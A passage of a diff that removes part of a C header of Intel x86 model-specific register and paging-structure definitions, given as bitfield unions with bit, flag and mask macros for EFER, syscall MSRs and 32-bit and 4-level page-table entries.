IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_FLAG 0x01 -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_MASK 0x01 -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_pkg_hdc_ctl_register; - - -/** - * Enable/disable HWP. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_PM_CTL1 0x00000DB1 -typedef union -{ - struct - { - /** - * @brief HDC_Allow_Block (R/W) - * - * [Bit 0] Allow/Block this logical processor for package level HDC control. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - * @see Vol3B[14.5.3(Logical-Processor Level HDC Control)] - */ - uint64_t hdc_allow_block : 1; -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_BIT 0 -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_FLAG 0x01 -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_MASK 0x01 -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_pm_ctl1_register; - - -/** - * Per-Logical_Processor HDC Idle Residency. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_THREAD_STALL 0x00000DB2 -typedef struct -{ - /** - * @brief Stall_Cycle_Cnt (R/W) - * - * Stalled cycles due to HDC forced idle on this logical processor. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - * @see Vol3B[14.5.4.1(IA32_THREAD_STALL)] - */ - uint64_t stall_cycle_count; -} ia32_thread_stall_register; - - -/** - * Extended Feature Enables. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_EFER 0xC0000080 -typedef union -{ - struct - { - /** - * @brief SYSCALL Enable (R/W) - * - * [Bit 0] Enables SYSCALL/SYSRET instructions in 64-bit mode. - */ - uint64_t syscall_enable : 1; -#define IA32_EFER_SYSCALL_ENABLE_BIT 0 -#define IA32_EFER_SYSCALL_ENABLE_FLAG 0x01 -#define IA32_EFER_SYSCALL_ENABLE_MASK 0x01 -#define IA32_EFER_SYSCALL_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 7; - - /** - * @brief IA-32e Mode Enable (R/W) - * - * [Bit 8] Enables IA-32e mode operation. - */ - uint64_t ia32e_mode_enable : 1; -#define IA32_EFER_IA32E_MODE_ENABLE_BIT 8 -#define IA32_EFER_IA32E_MODE_ENABLE_FLAG 0x100 -#define IA32_EFER_IA32E_MODE_ENABLE_MASK 0x01 -#define IA32_EFER_IA32E_MODE_ENABLE(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief IA-32e Mode Active (R) - * - * [Bit 10] Indicates IA-32e mode is active when set. - */ - uint64_t ia32e_mode_active : 1; -#define IA32_EFER_IA32E_MODE_ACTIVE_BIT 10 -#define IA32_EFER_IA32E_MODE_ACTIVE_FLAG 0x400 -#define IA32_EFER_IA32E_MODE_ACTIVE_MASK 0x01 -#define IA32_EFER_IA32E_MODE_ACTIVE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Execute Disable Bit Enable. - */ - uint64_t execute_disable_bit_enable : 1; -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_BIT 11 -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_FLAG 0x800 -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_MASK 0x01 -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE(_) (((_) >> 11) & 0x01) - uint64_t reserved3 : 52; - }; - - uint64_t flags; -} ia32_efer_register; - - -/** - * System Call Target Address. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_STAR 0xC0000081 - - /** - * @brief IA-32e Mode System Call Target Address (R/W) - * - * Target RIP for the called procedure when SYSCALL is executed in 64-bit mode. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_LSTAR 0xC0000082 - - /** - * @brief IA-32e Mode System Call Target Address (R/W) - * - * Not used, as the SYSCALL instruction is not recognized in compatibility mode. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_CSTAR 0xC0000083 - - /** - * System Call Flag Mask. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_FMASK 0xC0000084 - - /** - * Map of BASE Address of FS. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_FS_BASE 0xC0000100 - - /** - * Map of BASE Address of GS. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_GS_BASE 0xC0000101 - - /** - * Swap Target of BASE Address of GS. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_KERNEL_GS_BASE 0xC0000102 - - /** - * Auxiliary TSC. - * - * @remarks If CPUID.80000001H: EDX[27] = 1 or CPUID.(EAX=7,ECX=0):ECX[bit 22] = 1 - */ -#define IA32_TSC_AUX 0xC0000103 -typedef union -{ - struct - { - /** - * [Bits 31:0] AUX. Auxiliary signature of TSC. - */ - uint64_t tsc_auxiliary_signature : 32; -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_BIT 0 -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_FLAG 0xFFFFFFFF -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_MASK 0xFFFFFFFF -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE(_) (((_) >> 0) & 0xFFFFFFFF) - uint64_t reserved1 : 32; - }; - - uint64_t flags; -} ia32_tsc_aux_register; - -/** - * @} - */ - - /** - * @defgroup paging \ - * Paging - * @{ - */ - /** - * @defgroup paging_32 \ - * 32-Bit Paging - * - * A logical processor uses 32-bit paging if CR0.PG = 1 and CR4.PAE = 0. 32-bit paging translates 32-bit linear addresses - * to 40-bit physical addresses. Although 40 bits corresponds to 1 TByte, linear addresses are limited to 32 bits; at most - * 4 GBytes of linear-address space may be accessed at any given time. - * 32-bit paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to locate - * the first paging-structure, the page directory. 32-bit paging may map linear addresses to either 4-KByte pages or - * 4-MByte pages. - * - * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) - * @{ - */ - /** - * @brief Format of a 32-Bit Page-Directory Entry that Maps a 4-MByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 4-MByte page. - */ - uint32_t present : 1; -#define PDE_4MB_32_PRESENT_BIT 0 -#define PDE_4MB_32_PRESENT_FLAG 0x01 -#define PDE_4MB_32_PRESENT_MASK 0x01 -#define PDE_4MB_32_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t write : 1; -#define PDE_4MB_32_WRITE_BIT 1 -#define PDE_4MB_32_WRITE_FLAG 0x02 -#define PDE_4MB_32_WRITE_MASK 0x01 -#define PDE_4MB_32_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t supervisor : 1; -#define PDE_4MB_32_SUPERVISOR_BIT 2 -#define PDE_4MB_32_SUPERVISOR_FLAG 0x04 -#define PDE_4MB_32_SUPERVISOR_MASK 0x01 -#define PDE_4MB_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_write_through : 1; -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_cache_disable : 1; -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t accessed : 1; -#define PDE_4MB_32_ACCESSED_BIT 5 -#define PDE_4MB_32_ACCESSED_FLAG 0x20 -#define PDE_4MB_32_ACCESSED_MASK 0x01 -#define PDE_4MB_32_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t dirty : 1; -#define PDE_4MB_32_DIRTY_BIT 6 -#define PDE_4MB_32_DIRTY_FLAG 0x40 -#define PDE_4MB_32_DIRTY_MASK 0x01 -#define PDE_4MB_32_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Page size; must be 1 (otherwise, this entry references a page table). - */ - uint32_t large_page : 1; -#define PDE_4MB_32_LARGE_PAGE_BIT 7 -#define PDE_4MB_32_LARGE_PAGE_FLAG 0x80 -#define PDE_4MB_32_LARGE_PAGE_MASK 0x01 -#define PDE_4MB_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint32_t global : 1; -#define PDE_4MB_32_GLOBAL_BIT 8 -#define PDE_4MB_32_GLOBAL_FLAG 0x100 -#define PDE_4MB_32_GLOBAL_MASK 0x01 -#define PDE_4MB_32_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint32_t ignored_1 : 3; -#define PDE_4MB_32_IGNORED_1_BIT 9 -#define PDE_4MB_32_IGNORED_1_FLAG 0xE00 -#define PDE_4MB_32_IGNORED_1_MASK 0x07 -#define PDE_4MB_32_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bit 12] Indirectly determines the memory type used to access the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t pat : 1; -#define PDE_4MB_32_PAT_BIT 12 -#define PDE_4MB_32_PAT_FLAG 0x1000 -#define PDE_4MB_32_PAT_MASK 0x01 -#define PDE_4MB_32_PAT(_) (((_) >> 12) & 0x01) - - /** - * [Bits 20:13] Bits (M-1):32 of physical address of the 4-MByte page referenced by this entry. - */ - uint32_t page_frame_number_low : 8; -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_BIT 13 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_FLAG 0x1FE000 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_MASK 0xFF -#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW(_) (((_) >> 13) & 0xFF) - uint32_t reserved1 : 1; - - /** - * [Bits 31:22] Bits 31:22 of physical address of the 4-MByte page referenced by this entry. - */ - uint32_t page_frame_number_high : 10; -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_BIT 22 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_FLAG 0xFFC00000 -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_MASK 0x3FF -#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH(_) (((_) >> 22) & 0x3FF) - }; - - uint32_t flags; -} pde_4mb_32; - -/** - * @brief Format of a 32-Bit Page-Directory Entry that References a Page Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page table. - */ - uint32_t present : 1; -#define PDE_32_PRESENT_BIT 0 -#define PDE_32_PRESENT_FLAG 0x01 -#define PDE_32_PRESENT_MASK 0x01 -#define PDE_32_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t write : 1; -#define PDE_32_WRITE_BIT 1 -#define PDE_32_WRITE_FLAG 0x02 -#define PDE_32_WRITE_MASK 0x01 -#define PDE_32_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t supervisor : 1; -#define PDE_32_SUPERVISOR_BIT 2 -#define PDE_32_SUPERVISOR_FLAG 0x04 -#define PDE_32_SUPERVISOR_MASK 0x01 -#define PDE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_write_through : 1; -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this - * entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_cache_disable : 1; -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t accessed : 1; -#define PDE_32_ACCESSED_BIT 5 -#define PDE_32_ACCESSED_FLAG 0x20 -#define PDE_32_ACCESSED_MASK 0x01 -#define PDE_32_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Ignored. - */ - uint32_t ignored_1 : 1; -#define PDE_32_IGNORED_1_BIT 6 -#define PDE_32_IGNORED_1_FLAG 0x40 -#define PDE_32_IGNORED_1_MASK 0x01 -#define PDE_32_IGNORED_1(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] If CR4.PSE = 1, must be 0 (otherwise, this entry maps a 4-MByte page); otherwise, ignored. - */ - uint32_t large_page : 1; -#define PDE_32_LARGE_PAGE_BIT 7 -#define PDE_32_LARGE_PAGE_FLAG 0x80 -#define PDE_32_LARGE_PAGE_MASK 0x01 -#define PDE_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint32_t ignored_2 : 4; -#define PDE_32_IGNORED_2_BIT 8 -#define PDE_32_IGNORED_2_FLAG 0xF00 -#define PDE_32_IGNORED_2_MASK 0x0F -#define PDE_32_IGNORED_2(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. - */ - uint32_t page_frame_number : 20; -#define PDE_32_PAGE_FRAME_NUMBER_BIT 12 -#define PDE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 -#define PDE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF -#define PDE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; -} pde_32; - -/** - * @brief Format of a 32-Bit Page-Table Entry that Maps a 4-KByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 4-KByte page. - */ - uint32_t present : 1; -#define PTE_32_PRESENT_BIT 0 -#define PTE_32_PRESENT_FLAG 0x01 -#define PTE_32_PRESENT_MASK 0x01 -#define PTE_32_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t write : 1; -#define PTE_32_WRITE_BIT 1 -#define PTE_32_WRITE_FLAG 0x02 -#define PTE_32_WRITE_MASK 0x01 -#define PTE_32_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t supervisor : 1; -#define PTE_32_SUPERVISOR_BIT 2 -#define PTE_32_SUPERVISOR_FLAG 0x04 -#define PTE_32_SUPERVISOR_MASK 0x01 -#define PTE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_write_through : 1; -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PTE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_cache_disable : 1; -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PTE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t accessed : 1; -#define PTE_32_ACCESSED_BIT 5 -#define PTE_32_ACCESSED_FLAG 0x20 -#define PTE_32_ACCESSED_MASK 0x01 -#define PTE_32_ACCESSED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t dirty : 1; -#define PTE_32_DIRTY_BIT 6 -#define PTE_32_DIRTY_FLAG 0x40 -#define PTE_32_DIRTY_MASK 0x01 -#define PTE_32_DIRTY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t pat : 1; -#define PTE_32_PAT_BIT 7 -#define PTE_32_PAT_FLAG 0x80 -#define PTE_32_PAT_MASK 0x01 -#define PTE_32_PAT(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. - * - * @see Vol3A[4.10(Caching Translation Information)] - */ - uint32_t global : 1; -#define PTE_32_GLOBAL_BIT 8 -#define PTE_32_GLOBAL_FLAG 0x100 -#define PTE_32_GLOBAL_MASK 0x01 -#define PTE_32_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint32_t ignored_1 : 3; -#define PTE_32_IGNORED_1_BIT 9 -#define PTE_32_IGNORED_1_FLAG 0xE00 -#define PTE_32_IGNORED_1_MASK 0x07 -#define PTE_32_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. - */ - uint32_t page_frame_number : 20; -#define PTE_32_PAGE_FRAME_NUMBER_BIT 12 -#define PTE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 -#define PTE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF -#define PTE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; -} pte_32; - -/** - * @brief Format of a common Page-Table Entry - */ -typedef union -{ - struct - { - uint32_t present : 1; -#define PT_ENTRY_32_PRESENT_BIT 0 -#define PT_ENTRY_32_PRESENT_FLAG 0x01 -#define PT_ENTRY_32_PRESENT_MASK 0x01 -#define PT_ENTRY_32_PRESENT(_) (((_) >> 0) & 0x01) - uint32_t write : 1; -#define PT_ENTRY_32_WRITE_BIT 1 -#define PT_ENTRY_32_WRITE_FLAG 0x02 -#define PT_ENTRY_32_WRITE_MASK 0x01 -#define PT_ENTRY_32_WRITE(_) (((_) >> 1) & 0x01) - uint32_t supervisor : 1; -#define PT_ENTRY_32_SUPERVISOR_BIT 2 -#define PT_ENTRY_32_SUPERVISOR_FLAG 0x04 -#define PT_ENTRY_32_SUPERVISOR_MASK 0x01 -#define PT_ENTRY_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - uint32_t page_level_write_through : 1; -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - uint32_t page_level_cache_disable : 1; -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - uint32_t accessed : 1; -#define PT_ENTRY_32_ACCESSED_BIT 5 -#define PT_ENTRY_32_ACCESSED_FLAG 0x20 -#define PT_ENTRY_32_ACCESSED_MASK 0x01 -#define PT_ENTRY_32_ACCESSED(_) (((_) >> 5) & 0x01) - uint32_t dirty : 1; -#define PT_ENTRY_32_DIRTY_BIT 6 -#define PT_ENTRY_32_DIRTY_FLAG 0x40 -#define PT_ENTRY_32_DIRTY_MASK 0x01 -#define PT_ENTRY_32_DIRTY(_) (((_) >> 6) & 0x01) - uint32_t large_page : 1; -#define PT_ENTRY_32_LARGE_PAGE_BIT 7 -#define PT_ENTRY_32_LARGE_PAGE_FLAG 0x80 -#define PT_ENTRY_32_LARGE_PAGE_MASK 0x01 -#define PT_ENTRY_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) - uint32_t global : 1; -#define PT_ENTRY_32_GLOBAL_BIT 8 -#define PT_ENTRY_32_GLOBAL_FLAG 0x100 -#define PT_ENTRY_32_GLOBAL_MASK 0x01 -#define PT_ENTRY_32_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint32_t ignored_1 : 3; -#define PT_ENTRY_32_IGNORED_1_BIT 9 -#define PT_ENTRY_32_IGNORED_1_FLAG 0xE00 -#define PT_ENTRY_32_IGNORED_1_MASK 0x07 -#define PT_ENTRY_32_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 31:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint32_t page_frame_number : 20; -#define PT_ENTRY_32_PAGE_FRAME_NUMBER_BIT 12 -#define PT_ENTRY_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 -#define PT_ENTRY_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF -#define PT_ENTRY_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) - }; - - uint32_t flags; -} pt_entry_32; - -/** - * @defgroup paging_structures_entry_count_32 \ - * Paging structures entry counts - * - * Paging structures entry counts. - * @{ - */ -#define PDE_ENTRY_COUNT_32 0x00000400 -#define PTE_ENTRY_COUNT_32 0x00000400 - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup paging_64 \ - * 64-Bit (4-Level) Paging - * - * A logical processor uses 4-level paging if CR0.PG = 1, CR4.PAE = 1, and IA32_EFER.LME = 1. With 4-level paging, linear - * address are translated using a hierarchy of in-memory paging structures located using the contents of CR3. 4-level - * paging translates 48-bit linear addresses to 52-bit physical addresses. Although 52 bits corresponds to 4 PBytes, linear - * addresses are limited to 48 bits; at most 256 TBytes of linear-address space may be accessed at any given time. - * 4-level paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to - * locate the first paging-structure, the PML4 table. Use of CR3 with 4-level paging depends on whether processcontext - * identifiers (PCIDs) have been enabled by setting CR4.PCIDE. - * - * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) - * @{ - */ - /** - * @brief Format of a 4-Level PML4 Entry (PML4E) that References a Page-Directory-Pointer Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to reference a page-directory-pointer table. - */ - uint64_t present : 1; -#define PML4E_64_PRESENT_BIT 0 -#define PML4E_64_PRESENT_FLAG 0x01 -#define PML4E_64_PRESENT_MASK 0x01 -#define PML4E_64_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 512-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t write : 1; -#define PML4E_64_WRITE_BIT 1 -#define PML4E_64_WRITE_FLAG 0x02 -#define PML4E_64_WRITE_MASK 0x01 -#define PML4E_64_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint64_t supervisor : 1; -#define PML4E_64_SUPERVISOR_BIT 2 -#define PML4E_64_SUPERVISOR_FLAG 0x04 -#define PML4E_64_SUPERVISOR_MASK 0x01 -#define PML4E_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page-directory-pointer table - * referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_write_through : 1; -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page-directory-pointer table - * referenced by this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint64_t page_level_cache_disable : 1; -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint64_t accessed : 1; -#define PML4E_64_ACCESSED_BIT 5 -#define PML4E_64_ACCESSED_FLAG 0x20 -#define PML4E_64_ACCESSED_MASK 0x01 -#define PML4E_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 7] Reserved (must be 0). - */ - uint64_t must_be_zero : 1; -#define PML4E_64_MUST_BE_ZERO_BIT 7 -#define PML4E_64_MUST_BE_ZERO_FLAG 0x80 -#define PML4E_64_MUST_BE_ZERO_MASK 0x01 -#define PML4E_64_MUST_BE_ZERO(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] Ignored. - */ - uint64_t ignored_1 : 4; -#define PML4E_64_IGNORED_1_BIT 8 -#define PML4E_64_IGNORED_1_FLAG 0xF00 -#define PML4E_64_IGNORED_1_MASK 0x0F -#define PML4E_64_IGNORED_1(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 47:12] Physical address of 4-KByte aligned page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PML4E_64_PAGE_FRAME_NUMBER_BIT 12 -#define PML4E_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PML4E_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PML4E_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 4; - - /** - * [Bits 62:52] Ignored. - */ - uint64_t ignored_2 : 11; -#define PML4E_64_IGNORED_2_BIT 52 -#define PML4E_64_IGNORED_2_FLAG 0x7FF0000000000000 -#define PML4E_64_IGNORED_2_MASK 0x7FF -#define 